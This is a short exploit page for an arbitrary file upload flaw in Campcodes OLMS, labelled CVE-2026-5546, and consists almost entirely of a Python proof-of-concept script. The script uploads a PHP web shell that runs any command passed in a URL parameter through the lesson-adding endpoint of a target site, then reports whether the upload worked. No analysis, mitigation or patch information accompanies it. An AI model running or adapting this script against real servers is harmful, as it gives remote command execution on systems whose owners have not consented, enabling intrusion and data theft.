CVE-2026-5546 Campcodes OLMS 任意文件上传漏洞

import requests # Target configuration target_url = "http://target.com/index.php/lesson/add_lesson" # Malicious PHP shell payload php_code = "<?php system($_GET['cmd']); ?>" # Prepare the file upload payload # Exploiting the unrestricted upload in add_lesson function files = { 'lesson_file': ('exploit.php', php_code, 'application/x-php') } data = { 'title': 'Malicious Lesson', 'description': 'Uploading shell' } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") print("[+] Check the upload path to access the shell.") else: print("[-] Upload failed.") except Exception as e: print(f"Error: {e}")